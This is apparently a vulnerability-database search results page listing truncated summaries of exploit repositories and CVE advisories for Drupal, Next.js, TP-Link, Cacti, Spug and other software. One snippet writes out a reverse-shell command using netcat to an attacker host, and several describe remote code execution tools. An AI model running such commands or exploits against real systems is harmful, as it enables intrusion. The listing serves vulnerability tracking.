Lucene search
+L

34917 matches found

Kitploit
Kitploit
added 2026/09/13 12:12 p.m.9 views

Drupal-Exploit-Lab

Drupal-Exploit-Lab 演示在存在漏洞的Drupal 7.57(CVE-2018-7600)上,有无WAF(Web应用防火墙)情况下的利用过程 描述 本项目展示了在两种不同场景下对Drupal 7.57进行利用的方式: 1. 未受保护的服务器 → 通过Metasploit成功利用并获取Meterpreter shell。 2. 受保护的服务器 → 相同存在漏洞的版本,但应用了保护措施(ModSecurity + OWASP CRS)→ 利用失败。 技术与工具 操作系统: Ubuntu Server 16.04(未受保护)、Ubuntu Server...

9.8CVSS8.1AI score0.99991EPSS
SaveExploits49
Kitploit
Kitploit
added 2026/09/13 12:01 p.m.8 views

CVE-2025-55182

CVE-2025-55182 Next.js RCE Exploit Tool 🚀 This is an automated Proof-of-Concept PoC tool for the Next.js React Server Components CVE-2025-55182 Remote Code Execution RCE vulnerability. The tool integrates an interactive Shell , intelligent protocol detection , and multi-threaded batch scanning...

10CVSS7.8AI score0.99802EPSS
SaveExploits391
Kitploit
Kitploit
added 2026/09/13 11:52 a.m.6 views

TP-L-NK-SIZMA-EXPLO-T

TP-LiNK-SIZMA-EXPLOiT TP-Link Router Authenticated RCE Exploit CVE-2022-30074 This tool performs authenticated remote code execution using the CVE-2022-30075 vulnerability found in TP-Link Archer AX50 and some other TP-Link router models. TP-Link Router Authenticated RCE Exploit CVE-2022-30075 Th...

8.8CVSS8.2AI score0.33832EPSS
SaveExploits8
Kitploit
Kitploit
added 2026/09/13 11:34 a.m.12 views

Spring-Cloud-Function-Vulnerability-CVE-2022-22963-RCE

Spring Cloud Function Vulnerability CVE-2022-22963 RCE This is a python implemetation of Spring4Shell, CVE-2022-22963, affecting services running Spring Cloud Function =3.1.6 for 3.1.x and =3.2.2 for 3.2.x Combination of multiple POCs online Author: Randall Banner Date: 17/04/23 Description: Scri...

9.8CVSS7.8AI score0.99938EPSS
SaveExploits37
Kitploit
Kitploit
added 2026/09/13 11:33 a.m.11 views

cisco-rv-rce-poc

CVE-2023-20048 — Cisco RV Series PoC & Exploit ⚠ WARNING: For authorized testing only. Do not use against systems you do not own or have written permission to test. This is a Proof of Concept for authorized testing only. What this is Small repository with: CiscoPoc.py — harmless PoC to check for...

9.9CVSS8.3AI score0.15821EPSS
SaveExploits4
Kitploit
Kitploit
added 2026/09/13 11:20 a.m.10 views

CVE-2025-24367-PoC-Cacti

Cacti CVE-2025-24367 Authenticated RCE PoC This repository contains a proof‑of‑concept exploit for CVE‑2025‑24367 , an authenticated remote code execution vulnerability in Cacti. The issue abuses insufficient input sanitization in graph template handling. By injecting malicious content into the...

8.8CVSS9AI score0.54024EPSS
SaveExploits10
NVD
NVD
added 2026/09/13 11:17 a.m.13 views

CVE-2026-90770

Spug through 3.4.0 contains a remote code execution vulnerability in the pingcheck function that interpolates user-supplied monitor addresses directly into shell commands without validation. Authenticated users with monitor permissions can inject shell metacharacters via the /monitor/runtest/...

8.8CVSS0.00722EPSS
SaveExploits0References6
Kitploit
Kitploit
added 2026/09/13 11:05 a.m.9 views

CVE-2025-49132

CVE-2025-49132-POC I made this poc for my personal challenge inspired by 0xtensho Made for cleaner output and only for reverse shell Usage: root@kitploit: Change the host and the listener variable first python3 CVE-2025-49132POC.py Disclaimer LEGAL DISCLAIMER: This Proof of Concept PoC is for...

10CVSS6.1AI score0.54677EPSS
SaveExploits30References1
Kitploit
Kitploit
added 2026/09/13 10:50 a.m.6 views

CVE-2021-36260

CVE-2021-36260 CVE-2021-36260 ./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --check Safe and unsafe vulnerability/verify check: will only use 'unsafe check' if not verified with 'safe check' $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --check --reboot Unsafe...

9.8CVSS8.4AI score0.99869EPSS
SaveExploits24
CVE
CVE
added 2026/09/13 10:45 a.m.15 views

CVE-2026-90770

Spug through 3.4.0 contains a remote code execution vulnerability in the ping_check function (located in the monitor app). The root cause is that user-supplied monitor addresses are interpolated directly into shell commands without validation , allowing authenticated users with monitor permission...

8.8CVSS6.7AI score0.00722EPSS
SaveExploits0References6
Cvelist
Cvelist
added 2026/09/13 10:45 a.m.28 views

CVE-2026-90770 Spug through 3.4.0 Remote Code Execution via ping_check

Spug through 3.4.0 contains a remote code execution vulnerability in the pingcheck function that interpolates user-supplied monitor addresses directly into shell commands without validation. Authenticated users with monitor permissions can inject shell metacharacters via the /monitor/runtest/...

8.8CVSS0.00722EPSS
SaveExploits0References6
EUVD
EUVD
added 2026/09/13 10:45 a.m.6 views

EUVD-2026-76991

Spug through 3.4.0 contains a remote code execution vulnerability in the pingcheck function that interpolates user-supplied monitor addresses directly into shell commands without validation. Authenticated users with monitor permissions can inject shell metacharacters via the /monitor/runtest/...

8.8CVSS6.7AI score0.00722EPSS
SaveExploits0References6
Kitploit
Kitploit
added 2026/09/13 10:35 a.m.8 views

CVE-2020-15778

CVE-2020-15778 Introduction This repo reproduces CVE-2020-15778. Steps 1. Build the docker images for scp server and client root@kitploit: cd client docker build -t client-cve . root@kitploit: cd server docker build -t server-cve . 2. Spin up the scp server in container. root@kitploit: docker run...

7.8CVSS7.1AI score0.12996EPSS
SaveExploits6
Kitploit
Kitploit
added 2026/09/13 10:13 a.m.10 views

distccd_rce_CVE-2004-2687

The goal of this script NOT to use Metasploit and to do it manually. Usage: root@kitploit: nc -lvnp 4466 Running the exploit: root@kitploit: python3 ./exploit.py -t targetip -p targetport -c "nc attackerip attackerport -e /bin/sh"...

9.3CVSS8.2AI score0.88195EPSS
SaveExploits9
Kitploit
Kitploit
added 2026/09/13 9:24 a.m.8 views

nfsen-exploit

nfsen-exploit Exploit for CVE-2017-6971 remote command execution in nfsen 1.3.7. Tested on Ubuntu, probably works on everything Vulnerability discovered by Paul Taylor/Foregenix Ltd Usage: python exploit.py This generates a root-level shell on the remote machine...

9CVSS8.2AI score0.16179EPSS
SaveExploits5
Kitploit
Kitploit
added 2026/09/13 9:12 a.m.8 views

samba-trans2open-exploit-report

Samba Trans2Open Exploit Report This repository contains a full technical walkthrough of exploiting the Samba Trans2Open vulnerability CVE-2003-0201 on a virtual Linux environment. The exploitation was done for educational and ethical hacking training purposes. Report Contents Network and service...

10CVSS6AI score0.84502EPSS
SaveExploits31References2
Kitploit
Kitploit
added 2026/09/13 8:07 a.m.8 views

CVE-2025-56383

Vulnerability root@kitploit: Attack Type: DLL Hijacking DLL Hijacking Target Application: Notepad++ Method: The NppExport.dll file is loaded by Notepad++ from the working directory Implementation The malicious DLL contains: root@kitploit: Exported functions of the original library to ensure...

8.4CVSS8AI score0.00381EPSS
SaveExploits0
Kitploit
Kitploit
added 2026/09/13 7:53 a.m.6 views

paint2die

Simplest and most reliable RichFaces Paint2DResource CVE-2018-12533 RF-14310 exploit Installation • Usage • Running Paint2Die Installation Instructions root@kitploit: git clone https://github.com/LucasKatashi/paint2die.git cd paint2die chmod +x paint2die.py pip install -r requirements.txt Usage...

9.8CVSS8.1AI score0.19041EPSS
SaveExploits1
Kitploit
Kitploit
added 2026/09/13 7:49 a.m.7 views

CVE-2025-24893-PoC

CVE-2025-24893-PoC XWiki Unauthenticated RCE Exploit Affected XWiki Versions Versions 15.10.11 Versions 16.4.1 Versions 16.5.0RC1 Vulnerability Description Affected XWiki versions contain a Remote Code Execution vulnerability caused by unsafe Groovy expression handling in the SolrSearch macro...

9.8CVSS8.5AI score0.99864EPSS
SaveExploits52
Kitploit
Kitploit
added 2026/09/13 7:09 a.m.11 views

CVE-2025-25257

CVE-2025-25257 Exploits for CVE-2025-25257 released by watchtowr and others I found on github did not work on my installations of fortiweb downloaded from the official vendor website. I ripped some of these exploit codes to make a poc capable to pop a reverse shell on my environment. IP address a...

9.8CVSS8.5AI score0.99772EPSS
SaveExploits18
Rows per page
Query Builder